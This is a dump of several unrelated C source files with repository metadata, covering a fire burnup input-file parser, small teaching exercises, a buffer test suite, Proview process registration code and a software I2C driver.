Bur_ChkArgs * Desc: Check that each argument is a number * Ret: 0 OK, else number of argument in error {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ int Bur_ChkArgs (char cr_Line[]) { char cr1[50], cr2[50], cr3[50], cr4[50], cr5[50], cr6[50]; char cr7[50], cr8[50], cr9[50], cr10[50], cr11[50], cr12[50]; cr1[0] = cr2[0] = cr3[0] = cr4[0] = cr5[0] = cr6[0] = 0; cr7[0] = cr8[0] = cr9[0] = cr10[0] = cr11[0] = cr12[0] = 0; sscanf (cr_Line, "%s %s %s %s %s %s %s %s %s %s %s %s\n", cr1, cr2, cr3, cr4, cr5, cr6, cr7, cr8, cr9, cr10, cr11, cr12); if ( Get_NumTyp (cr1) == 'X' ) return 1; if ( Get_NumTyp (cr2) == 'X' ) return 2; if ( Get_NumTyp (cr3) == 'X' ) return 3; if ( Get_NumTyp (cr4) == 'X' ) return 4; if ( Get_NumTyp (cr5) == 'X' ) return 5; if ( Get_NumTyp (cr6) == 'X' ) return 6; if ( Get_NumTyp (cr7) == 'X' ) return 7; if ( Get_NumTyp (cr8) == 'X' ) return 8; if ( Get_NumTyp (cr9) == 'X' ) return 9; if ( Get_NumTyp (cr10) == 'X' ) return 10; if ( Get_NumTyp (cr11) == 'X' ) return 11; if ( Get_NumTyp (cr12) == 'X' ) return 12; return 0; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: * Desc: * Ret: {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ void Bur_Error (char cr_Err[], char cr1[], char cr_Line[]) { strcpy (cr_Err, cr1); if ( strcmp (cr_Line,"") ) { strcat (cr_Err,"\n Line in Error:\n"); if ( strlen (cr_Line) > 40 ) /* if line is too long it will trash */ cr_Line[39] = 0; /* the strings its going to */ strcat (cr_Err,cr_Line); } } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: BRN_ChkSwi * Desc: Checks to see if string is a valid switch * Ret: {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ int BRN_ChkSwi (char cr[]) { if (!strcmp(cr, "MAX_TIMES" )) return 1; if (!strcmp(cr, "INTENSITY(KW/M2)")) return 1; if (!strcmp(cr, "IG_TIME(S)" )) return 1; if (!strcmp(cr, "WINDSPEED(M/S)" )) return 1; if (!strcmp(cr, "DEPTH(M)" )) return 1; if (!strcmp(cr, "AMBIENT_TEMP(C)" )) return 1; if (!strcmp(cr, "R0" )) return 1; if (!strcmp(cr, "DR" )) return 1; if (!strcmp(cr, "TIMESTEP(S)" )) return 1; if (!strcmp(cr, "DUFF_LOAD(KG/M2)")) return 1; if (!strcmp(cr, "DUFF_MOIST" )) return 1; return 0; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: CFF_ChkAll * Desc: See if all of the switches have been found yet. * Whenever a switch is found it gets a 1 * Ret: 1 All switch have been found, else 0 {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ int CFF_ChkAll (d_CFF *a_CFF) { if ( a_CFF->i_MAX_TIMES == 0 ) return 0; if ( a_CFF->i_INTENSITY == 0 ) return 0; if ( a_CFF->i_IG_TIME == 0 ) return 0; if ( a_CFF->i_WINDSPEED == 0 ) return 0; if ( a_CFF->i_DEPTH == 0 ) return 0; if ( a_CFF->i_AMBIENT_TEMP == 0 ) return 0; if ( a_CFF->i_r0 == 0 ) return 0; if ( a_CFF->i_dr == 0 ) return 0; if ( a_CFF->i_TIMESTEP == 0 ) return 0; if ( a_CFF->i_DUFF_LOAD == 0 ) return 0; if ( a_CFF->i_DUFF_MOIST == 0 ) return 0; return 1; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: CFF_Init * Desc: init all fields to 0 * In/Out: a_CFF {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ void CFF_Init (d_CFF *a_CFF) { a_CFF->i_MAX_TIMES = 0; a_CFF->i_INTENSITY = 0; a_CFF->i_IG_TIME = 0; a_CFF->i_WINDSPEED = 0; a_CFF->i_DEPTH = 0; a_CFF->i_AMBIENT_TEMP= 0; a_CFF->i_r0 = 0; a_CFF->i_dr = 0; a_CFF->i_TIMESTEP = 0; a_CFF->i_DUFF_LOAD = 0; a_CFF->i_DUFF_MOIST = 0; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: bstrupr * Desc: convert a string to upper case, strupr is not on Unix * In/Out: {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ void bstrupr (char cr[]) { int i; char c; for ( i = 0; i < 20000; i++ ) { if ( cr[i] == 0 ) break; c = (char) toupper (cr[i]); cr[i] = c; } } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: BRN_SetFuel * Desc: set Fuel Load associtated values in to burnup variable arrays. * This is used to set some Burnup input variable when a Burnup input * file is not being used. * THis basicaly does what is equivalent to a single fuel load line * of a burnup input file. * Note-1: Multiply by 1000 because that's what the orginal burnup code did * when it would read in the value from input file * cr_SR.....Sound or Rotten, "SND", "ROT" * f_Load....fuel load * f_Moist...moistuer * f_Sigma...see defines caller is using * In/Out: aiX....index where to put stuff into burnup arrays * this index will get incremented after use * Out: cr_ErrMes...NULL or Error Message when one occurs * Ret: 1 OK data was set, * 0 no load was sent in, that's ok we just don't use it, but let * caller * -1 Error {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ int BRN_SetFuel (int *aiX, char cr_SR[], float f_Load, float f_Moist, float f_Sigma) { int iX; if ( f_Load <= 0 ) /* no load, so don't do anything*/ return 0; iX = *aiX; /* where in array to put stuff */ if ( iX >= MAXNO ) { /* Don't exceed array size */ LEM_Put ("BRN_SetFuel", "fuel loads exceeds burnup array size"); iX = MAXNO -1; } /* See Note-1 above */ if ( !strcmp (cr_SR,"SND") ) { /* Sound Wood */ dendry[iX] = e_Snd_dendry; tpig [iX] = e_Snd_tpig + e_tpig_adj;} else if ( !strcmp (cr_SR,"ROT") ) { /* Rotten Wood */ dendry[iX] = e_Rot_dendry; tpig [iX] = e_Rot_tpig + e_tpig_adj;} else { LEM_Put ("BRN_SetFuel", "Internal Logic, Fuel Load type unknown, will assign 'Sound'"); dendry[iX] = e_Snd_dendry; tpig [iX] = e_Snd_tpig + e_tpig_adj;} wdry [iX] = f_Load; /* fuel load */ htval [iX] = e_htval * 1000; /* See Note-1 above */ fmois [iX] = f_Moist; sigma [iX] = f_Sigma; cheat [iX] = e_cheat; condry[iX] = e_condry; tchar [iX] = e_tchar + e_tchar_adj; ash [iX] = e_ash; number++; /* tells number of loads */ iX++; /* up index */ *aiX = iX; /* and send it back */ return 1; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: Min & Max * Desc: these are not ANSI standard, compile gets an error so need to * make my own. * In: {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{**/ double Min (double a, double b) { if ( a < b ) return a; return b; } double Max (double a, double b) { if ( a > b ) return a; return b; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: BRN_ReadInFil * Desc: Read the input burnup input file. * Note: The design of the input file was not of my making so gotta deal * with it as is. It has those 11 switchs on the front then a file * name (that doesn't appear to have any reason for being there) * then any number of lines with the fuel load info. * So I: * - get the 11 switches at the top of the file. * - look for that bogus file name and get past it * I wrote code so if it's not there that's ok * - get the fuel loading lines * In: cr_FN......File Name * Out: cr_Err.....Error Message * Ret: 1 OK, 0 Error {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ int BRN_ReadInFil (char cr_FN[], char cr_Err[]) { int i, i_Ret, iN; long v, w; #define eC_Line 250 char cr_Line[eC_Line], cr1[100], cr2[100], *eof, c_Type; double d_a, d_b, d_c, d_d, d_e, d_f, d_g, d_h, d_x, d_y; FILE *fh_In; d_CFF s_CFF; long l_ntimes = e_MAX_TIMES;/* max number of iterations */ long l_NumFuelCats = 8; /* number of fuel categories this time */ double d_fi = 150.0; /* initializing fire intensity (kW/m2/s) */ double d_ti = 30.0; /* duration of initial intensity pulse (s) */ double d_WinSpe = 0.0; double d_FueDep = 0.523; /* fuelbed depth (m) */ double d_tamb = 27.0; /* ambient temperature (C) */ double d_r0 = 1.8; /* minimum value of mixing parameter */ double d_dr = 0.4; /* maximum addition to mixing parameter */ double d_dt = 10; /* timestep */ double d_wdf = 11.0; /* duff weight (kg/m2) */ double d_dfm = 1.62; /* duff moisture content (fraction) */ strcpy (cr_Err,""); fh_In = fopen (cr_FN, "r"); /* Open Input File */ if ( fh_In == NULL) { sprintf(cr_Err,"Can't Open Burnup Tmp Input file: %s \n", cr_FN); return 0; } CFF_Init (&s_CFF); /* to check for switches */ iN = 0; /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ /* Get the 11 switches/args at top of file */ i_Ret = 0; while ( 1 ) { if ( CFF_ChkAll (&s_CFF) ) /* see if have all switches yet */ break; /* OK gottem' all */ eof = fgets ( cr_Line, 200, fh_In ); /* Read a line from file */ if ( eof == NULL ) { /* shouldn't hit EOF */ Bur_Error (cr_Err,"Missing Switch(s)",""); i_Ret = 0; goto X; } Blk_End_Line (cr_Line,eC_Line); /* get rid of end line chars */ if ( isBlank(cr_Line) ) /* skip blank lines */ continue; strcpy (cr1,""); strcpy (cr2,""); sscanf (cr_Line, "%s %s", cr1,cr2); /* get switch & argument */ if ( !strcmp (cr1,"") ) /* Empty line */ continue; if ( cr1[0] == '#' ) /* Skip any comments lines */ continue; bstrupr (cr1); /* get string to upper case */ if ( !BRN_ChkSwi (cr1) ) { /* check for valid switch */ Bur_Error (cr_Err,"Invalid Switch.\n",cr_Line); i_Ret = 0; goto X; } if ( !strcmp (cr2,"") ) { /* must have an arg */ Bur_Error (cr_Err,"Switch Has Missing Argument.\n",cr_Line); i_Ret = 0; goto X; } c_Type = Get_NumTyp (cr2); /* 2cd arg must be number */ if ( c_Type == 'X' ) { Bur_Error (cr_Err,"Invalid Argument.\n",cr_Line); i_Ret = 0; goto X; } if (!strcmp(cr1, "MAX_TIMES" )) { l_ntimes = atoi(cr2); s_CFF.i_MAX_TIMES++; continue; } if (!strcmp(cr1, "INTENSITY(KW/M2)")) { d_fi = atof(cr2); s_CFF.i_INTENSITY++; continue;} if (!strcmp(cr1, "IG_TIME(S)" )){ d_ti = atof(cr2); s_CFF.i_IG_TIME++; continue;} if (!strcmp(cr1, "WINDSPEED(M/S)" )){ d_WinSpe = atof(cr2); s_CFF.i_WINDSPEED++; continue;} if (!strcmp(cr1, "DEPTH(M)" )){ d_FueDep = atof(cr2); s_CFF.i_DEPTH++; continue;} if (!strcmp(cr1, "AMBIENT_TEMP(C)" )){ d_tamb = atof(cr2); s_CFF.i_AMBIENT_TEMP++; continue;} if (!strcmp(cr1, "R0" )){ d_r0 = atof(cr2); s_CFF.i_r0++; continue; } if (!strcmp(cr1, "DR" )){ d_dr = atof(cr2); s_CFF.i_dr++; continue; } if (!strcmp(cr1, "TIMESTEP(S)" )){ d_dt = atof(cr2); s_CFF.i_TIMESTEP++; continue; } if (!strcmp(cr1, "DUFF_LOAD(KG/M2)")){ d_wdf = atof(cr2); s_CFF.i_DUFF_LOAD++; continue; } if (!strcmp(cr1, "DUFF_MOIST" )){ d_dfm = atof(cr2); s_CFF.i_DUFF_MOIST++; continue;} Bur_Error(cr_Err,"Invalid Switch",cr_Line); i_Ret = 0; goto X; } BRN_SetFireDat (l_ntimes,d_fi,d_ti,d_WinSpe, d_FueDep,d_tamb,d_r0,d_dr,d_dt,d_wdf,d_dfm); /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ /* Look for bogus file name, that's in the file */ while ( 1 ) { eof = fgets ( cr_Line, 200, fh_In ); /* Read a line from file */ if ( eof == NULL ) { /* End of File */ Bur_Error(cr_Err,"No fuel loading data found in file.",""); i_Ret = 0; goto X; } Blk_End_Line (cr_Line,eC_Line); /* get rid of end line chars */ if ( isBlank(cr_Line) ) /* skip blank lines */ continue; strcpy (cr1,""); sscanf (cr_Line, "%s", cr1); if ( cr1[0] == '#' ) /* Skip any comments lines */ continue; if ( !strcmp (cr1,"") ) /* skip empty lines */ continue; c_Type = Get_NumTyp (cr1); /* get number type */ if ( c_Type == 'I' ) /* integer */ goto Num; /* go do fuel loading line */ if ( c_Type == 'F' ) /* float */ goto Num; /* go do fuel loading line */ if ( c_Type == 'X' ) /* must be the bogus file name */ break; /* time to go do fuel lines */ strcpy (cr_Err,"Logic Error - BRN_ReadInFil"); i_Ret = 0; goto X; } /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ /* read in the fuel loading lines */ while ( 1 ) { eof = fgets ( cr_Line, 200, fh_In ); /* Read a line from file */ if ( eof == NULL ) /* End of File */ break; Blk_End_Line (cr_Line,eC_Line); /* get rid of end line chars */ if ( isBlank(cr_Line) ) /* skip blank lines */ continue; strcpy (cr1,""); sscanf (cr_Line, "%s", cr1); if ( cr1[0] == '#' ) /* Skip any comments lines */ continue; if ( !strcmp (cr1,"") ) continue; /* skip empty lines */ Num: i = Bur_ChkArgs (cr_Line); /* make sure they're all nums */ if ( i > 0 ) { sprintf (cr1,"argument %d is not numberic or there is not 12 numbers on line.\n",i); Bur_Error (cr_Err, cr1,cr_Line); i_Ret = 0; goto X; } sscanf (cr_Line, "%ld %ld %lf %lf %lf %lf %lf %lf %lf %lf %lf %lf", &v,&w,&d_a,&d_b,&d_c,&d_d,&d_e,&d_f,&d_g,&d_h,&d_x,&d_y); if ( d_a <= 0.0) /* if no fuel Load */ continue; wdry [iN] = d_a; /* load into arrays that burnup uses */ htval [iN] = d_b*1000.0; /* to do its calcs */ fmois [iN] = d_c; dendry[iN] = d_d; sigma [iN] = d_e; cheat [iN] = d_f; condry[iN] = d_g; tpig [iN] = d_h + e_tpig_adj; tchar [iN] = d_x + e_tchar_adj; ash [iN] = d_y; iN++; number = iN; /* number of fuel loads in arrays */ if ( iN == MAXNO ) { Bur_Error (cr_Err, "Too Many fuel loads in burnup input file.\n",""); i_Ret = 0; goto X; } } if ( iN == 0 ) { Bur_Error (cr_Err, "No fuel load data found in input file \n",""); i_Ret = 0; goto X; } if ( !BRN_CheckData(cr_Err) ) { /* Check input data to burnup */ i_Ret = 0; goto X; } /* Error */ i_Ret = 1; /* OK no errors */ X: fclose (fh_In); return i_Ret; }
85dc17321f5be5233d2fffaab5cacd6287131312
a8fbd5dbc3c2b5e5a368560797f36c01ceafadea
/From Khoa/CBasic/week8/stack.c
64fe93af6a8df9a21a2466f43a78d812eafc9c60
[]
no_license
lehoangvan/btvnC
505834f9a950e84a060393c5bfa2d555480c915a
9f01b61a49f3952ad20b9a76b08beb18ace7879c
refs/heads/master
2020-06-20T00:08:51.690741
2016-12-06T08:37:11
2016-12-06T08:37:11
74,894,275
0
0
null
null
null
null
UTF-8
C
false
false
198
c
stack.c
#include <stdio.h> #include <stdlib.h> #include "stack.h" int main(){ elementtype e; e.n = 2; STACK *s = newStack(); push(s, e); printf("%d\n",pop(s).n); destroyStack(s); return 0; }
0721abe0e1266ab5681dbef931338937bd11e5c1
30d9d86ecfa5327436d88e57d2ccce6f3ad954eb
/day17/04funcptr.c
1f9e0d3f46138938dc7aca1f7eef98bb4fbe07b5
[]
no_license
taizilinger123/C
3eabdf04b192620263a3dc863eb4d4c30a94fffa
a77354dffc5a4f1c8445e65bbc5401b096aa9f27
refs/heads/master
2023-08-22T00:07:33.669500
2023-08-21T07:26:22
2023-08-21T07:26:22
215,798,200
0
0
null
null
null
null
UTF-8
C
false
false
246
c
04funcptr.c
/* 函数指针练习 */ #include <stdio.h> int add(int x, int y){ return x + y; } int main(){ int (*p_Func)(int, int) = NULL; printf("add是%p\n", add); p_Func = add; printf("p_Func(3, 8)是%d\n", p_Func(3, 8)); return 0; }
50a19b58f949a43548a49b444f95e7981be69d8f
c7a05743f9273838ccc499a8ef889a2f1457a55f
/MHLogistics/Config/VCConstant.h
d92c95fa9ced04eadeeba2536fdb47b6d7901436
[]
no_license
wjc1wjc2wjc3/MHLogistics
826e6d0eadadea8c8792eca1dc0e6228fcad158e
c62baab2670242ecccdb163ceb4d20a6afbc41b5
refs/heads/master
2020-04-02T08:31:49.262311
2018-10-31T01:33:04
2018-10-31T01:33:04
154,248,357
0
0
null
null
null
null
UTF-8
C
false
false
334
h
VCConstant.h
// // VCConstant.h // HZBitSmartLock // // Created by Apple on 11/12/2017. // Copyright © 2017 HZBit. All rights reserved. // #ifndef VCConstant_h #define VCConstant_h typedef NS_ENUM(NSUInteger, VCType) { eLogin = 0x01, //登录 eModifyPwd, //修改密码 eRegister, //注册 }; #endif /* VCConstant_h */
0eaf7e33796202bc2441ee28566331fc44cbc0c3
345b4f965b515a3387fdba062a075816398e384c
/src/lib/rt/src/rt_aproc.c
f0ce454982493f534e4f57b3b037091b42137d08
[]
no_license
hfuhuang/proview
4fd0bf089aa6e3a303aea666652e5046cf5855d7
4172df2ae577ff3202e29f28e0afdbe0cc8780a6
refs/heads/master
2020-12-24T17:17:05.556911
2010-01-14T15:16:16
2010-01-14T15:16:16
null
0
0
null
null
null
null
ISO-8859-1
C
false
false
1,891
c
rt_aproc.c
/* * Proview $Id: rt_aproc.c,v 1.2 2005-09-01 14:57:55 claes Exp $ * Copyright (C) 2005 SSAB Oxelösund AB. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation, either version 2 of * the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with the program, if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ #include "pwr.h" #include "co_cdh.h" #include "co_time.h" #include "pwr_class.h" #include "rt_gdh.h" #include "rt_errh.h" #include "rt_aproc.h" #include "rt_proc_msg.h" static pwr_sNode *proc_np = 0; pwr_tStatus aproc_RegisterObject( pwr_tOid oid ) { pwr_tStatus sts; errh_eAnix anix = errh_Anix(); if ( !anix) return PROC__ANIX; if ( !proc_np) { pwr_tOid noid; sts = gdh_GetNodeObject( 0, &noid); if ( EVEN(sts)) return sts; sts = gdh_ObjidToPointer( noid, (void **)&proc_np); if ( EVEN(sts)) return sts; } proc_np->ProcObject[anix-1] = oid; return PROC__SUCCESS; } pwr_tStatus aproc_TimeStamp() { pwr_tStatus sts; pwr_tTime t; errh_eAnix anix = errh_Anix(); if ( !anix) return PROC__ANIX; if ( !proc_np) { pwr_tOid noid; sts = gdh_GetNodeObject( 0, &noid); if ( EVEN(sts)) return sts; sts = gdh_ObjidToPointer( noid, (void **)&proc_np); if ( EVEN(sts)) return sts; } time_GetTime( &t); proc_np->ProcTimeStamp[anix-1] = t; return PROC__SUCCESS; }
45cd9d249006cdaa2165a022b5778a2d277944ae
7e035315f6a3b883f82a9601f2751f3d5a465f17
/08_TestingCoverage/tests.c
184905015cf1e03d33cc8595bc440449a6113190
[]
no_license
ankan2013/linuxdev2020
6a3cb6ddfea15981de4cb9b366cbc0ed9bf4ff1a
4020e62a59d9023dc0e4aac1f26afc6e2624d894
refs/heads/master
2023-02-11T14:25:30.479304
2021-01-10T20:34:58
2021-01-10T20:34:58
305,381,107
0
0
null
null
null
null
UTF-8
C
false
false
1,789
c
tests.c
#include <stdint.h> #include <assert.h> #include "src/buf.h" static void test_initialization(){ float *a = NULL; assert(buf_capacity(a) == 0); assert(buf_size(a) == 0); } static void test_push_clear_free(){ float *a = NULL; buf_push(a, 1.3f); assert(buf_size(a) == 1); assert(a[0] == 1.3f); buf_clear(a); assert(buf_size(a) == 0); assert(a != NULL); buf_free(a); assert(a == NULL); } static void test_clear_empty(){ float *a = NULL; buf_clear(a); assert(buf_size(a) == 0); assert(a == NULL); } static void test_push(){ int size = 10000; int *a = NULL; for(int i = 0; i < size; i++){ buf_push(a, i); } assert(buf_size(a) == size); int match = 0; for(int i = 0; i < size; i++){ match += a[i]== i; } assert(match == size); buf_free(a); assert(a == NULL); } static void test_grow_trucn(){ int size = 1000; int* a = NULL; buf_grow(a, size); assert(buf_capacity(a) == size); assert(buf_size(a) == 0); buf_trunc(a, size / 10); assert(buf_capacity(a) == size / 10); buf_free(a); assert(a == NULL); } static void test_pop(){ float* a = NULL; buf_push(a, 1.1); buf_push(a, 1.2); buf_push(a, 1.3); buf_push(a, 1.4); assert(buf_size(a) == 4); assert(buf_pop(a) == 1.4f); buf_trunc(a, 3); assert(buf_size(a) == 3); assert(buf_pop(a) == 1.3f); assert(buf_pop(a) == 1.2f); assert(buf_pop(a) == 1.1f); assert(buf_size(a) == 0); buf_free(a); assert(a == NULL); } typedef void (*test_type)(void); int main(int argc, char** argv){ test_type tests[] = { test_initialization, test_push_clear_free, test_clear_empty, test_push, test_grow_trucn, test_pop, }; for (int i = 1; i < argc; i++){ int test_num = atoi(argv[i]); assert(test_num < sizeof(tests) / sizeof(test_type)); tests[test_num](); } return 0; }
dd4b91596e644628b610b47bd33048a130fe1748
c0b7451f8987bc486f209b79f76b1638560b8479
/FIRMWARE/COMMON_CODE/MULTICORE/LCCM668__MULTICORE__SOFT_I2C/LOWLEVEL/soft_i2c__lowlevel.c
0158af205cba90190745122d5c0465e207e2875b
[]
no_license
rLoopTeam/eng-software-pod
65459071f61d0c252b9b4bf53bbcd18e22721fb1
dbc56435f835cdc67f27dc0e163b8a7dd74106d1
refs/heads/development
2021-08-31T11:02:53.876615
2017-09-21T20:46:13
2017-09-21T20:46:13
68,270,906
31
46
null
2017-09-21T20:46:14
2016-09-15T06:14:41
HTML
UTF-8
C
false
false
4,265
c
soft_i2c__lowlevel.c
/* * soft_i2c__lowlevel.c * * Created on: 25 Jan 2017 * Author: Lachlan */ #include "../soft_i2c.h" #define bitRead(value, bit) (((value) >> (bit)) & 0x01) #define bitSet(value, bit) ((value) |= (1UL << (bit))) #define bitClear(value, bit) ((value) &= ~(1UL << (bit))) #define bitWrite(value, bit, bitvalue) (bitvalue ? bitSet(value, bit) : bitClear(value, bit)) #define C_SDA_PIN 25U #define C_SCL_PIN 27U //locals void vSOFTI2C_LOWLEVEL__Generate_Delay(void); void vSOFTI2C_LOWLEVEL__Set_SCL_Hi(void); void vSOFTI2C_LOWLEVEL__Set_SDA_Hi(void); void vSOFTI2C_LOWLEVEL__Set_SCL_Lo(void); void vSOFTI2C_LOWLEVEL__Set_SDA_Lo(void); void vSOFTI2C_LOWLEVEL__Generate_ClockPulse(void); void vSOFTI2C_LOWLEVEL__Init(void) { vRM4_N2HET_PINS__Set_PinDirection_Input(N2HET_CHANNEL__1, C_SDA_PIN); vRM4_N2HET_PINS__Set_PinDirection_Input(N2HET_CHANNEL__1, C_SCL_PIN); } //implement the I2C delay for bit timing void vSOFTI2C_LOWLEVEL__Generate_Delay(void) { vRM4_DELAYS__Delay_uS(200); } void vSOFTI2C_LOWLEVEL__Set_SCL_Hi(void) { vRM4_N2HET_PINS__Set_PinDirection_Input(N2HET_CHANNEL__1, C_SCL_PIN); vSOFTI2C_LOWLEVEL__Generate_Delay(); } void vSOFTI2C_LOWLEVEL__Set_SDA_Hi(void) { vRM4_N2HET_PINS__Set_PinDirection_Input(N2HET_CHANNEL__1, C_SDA_PIN); vSOFTI2C_LOWLEVEL__Generate_Delay(); } void vSOFTI2C_LOWLEVEL__Set_SCL_Lo(void) { vRM4_N2HET_PINS__Set_PinLow(N2HET_CHANNEL__1, C_SCL_PIN); vRM4_N2HET_PINS__Set_PinDirection_Output(N2HET_CHANNEL__1, C_SCL_PIN); vSOFTI2C_LOWLEVEL__Generate_Delay(); } void vSOFTI2C_LOWLEVEL__Set_SDA_Lo(void) { vRM4_N2HET_PINS__Set_PinLow(N2HET_CHANNEL__1, C_SDA_PIN); vRM4_N2HET_PINS__Set_PinDirection_Output(N2HET_CHANNEL__1, C_SDA_PIN); vSOFTI2C_LOWLEVEL__Generate_Delay(); } //generate a start condition void vSOFTI2C_LOWLEVEL__Generate_Start_Conidition(void) { vSOFTI2C_LOWLEVEL__Set_SDA_Hi(); vSOFTI2C_LOWLEVEL__Set_SCL_Hi(); vSOFTI2C_LOWLEVEL__Generate_Delay(); vSOFTI2C_LOWLEVEL__Set_SDA_Lo(); vSOFTI2C_LOWLEVEL__Generate_Delay(); vSOFTI2C_LOWLEVEL__Set_SCL_Lo(); vSOFTI2C_LOWLEVEL__Generate_Delay(); } //generate a stop condition void vSOFTI2C_LOWLEVEL__Generate_Stop_Condition(void) { vSOFTI2C_LOWLEVEL__Set_SDA_Lo(); vSOFTI2C_LOWLEVEL__Generate_Delay(); vSOFTI2C_LOWLEVEL__Set_SCL_Hi(); vSOFTI2C_LOWLEVEL__Generate_Delay(); vSOFTI2C_LOWLEVEL__Set_SDA_Hi(); vSOFTI2C_LOWLEVEL__Generate_Delay(); } //generate a clock pulse void vSOFTI2C_LOWLEVEL__Generate_ClockPulse(void) { vSOFTI2C_LOWLEVEL__Set_SCL_Hi(); vSOFTI2C_LOWLEVEL__Generate_Delay(); vSOFTI2C_LOWLEVEL__Set_SCL_Lo(); } //write a byte on the bus void vSOFTI2C_LOWLEVEL__TxByte(Luint8 u8Value) { Luint8 u8Counter; //go through each bit for(u8Counter = 0U; u8Counter < 8U; u8Counter++) { if(bitRead(u8Value, (7U - u8Counter))) { vSOFTI2C_LOWLEVEL__Set_SDA_Hi(); } else { vSOFTI2C_LOWLEVEL__Set_SDA_Lo(); } //clock the data out. vSOFTI2C_LOWLEVEL__Generate_ClockPulse(); }//for(u8Counter = 0; u8Counter < 8; u8Counter++) } Luint8 u8SOFTI2C_LOWLEVEL__Read_Bit(void) { Luint8 u8Read; //clock hi vSOFTI2C_LOWLEVEL__Set_SCL_Hi(); //read the value of the data pin u8Read = u8RM4_N2HET_PINS__Get_Pin(N2HET_CHANNEL__1, C_SDA_PIN); vSOFTI2C_LOWLEVEL__Generate_Delay(); //clock to low vSOFTI2C_LOWLEVEL__Set_SCL_Lo(); return u8Read; } Luint8 u8SOFTI2C_LOWLEVEL__RxByte(void) { Luint8 u8Counter; Luint8 out_byte = 0; vSOFTI2C_LOWLEVEL__Set_SDA_Hi(); for(u8Counter = 0; u8Counter < 8; u8Counter++) { vSOFTI2C_LOWLEVEL__Generate_Delay(); bitWrite(out_byte, 7 - u8Counter, u8SOFTI2C_LOWLEVEL__Read_Bit()); } return out_byte; } /** * Return 0 if ACK was received, else 1 */ Luint8 u8SOFTI2C_LOWLEVEL__Check_Ack(void) { Luint8 u8Read; Luint8 u8Return; //sda pin to high vSOFTI2C_LOWLEVEL__Set_SDA_Hi(); u8Read = u8SOFTI2C_LOWLEVEL__Read_Bit(); if(u8Read == 0U) { u8Return = 0U; } else { u8Return = 1U; } return u8Return; } /** * Return 0 if NACK was received, else 1 */ Luint8 u8SOFTI2C_LOWLEVEL__Check_Nack(void) { Luint8 u8Read; Luint8 u8Return; //set the SDA high vSOFTI2C_LOWLEVEL__Set_SDA_Hi(); u8Read = u8SOFTI2C_LOWLEVEL__Read_Bit(); if(u8Read == 1U) { u8Return = 0U; } else { u8Return = 1U; } return u8Return; }
1e81506cacf4817dd26433e1c49947b726c60dd4
a3e6117a85d7b0d66226fcfe2d2293a130a9ca1e
/serveur_proj/srcs/server/server_loop.c
74626be1c392f225735724a202f53b45a0af8e64
[]
no_license
lchenut/irc
ceecaefaf6d43d11030273fdcd8b4487af336394
d713d418a326eafc390fe523306a5894d0546c75
refs/heads/master
2021-07-21T14:37:25.540884
2017-08-30T10:50:18
2017-08-30T10:50:18
108,634,398
0
0
null
null
null
null
UTF-8
C
false
false
2,333
c
server_loop.c
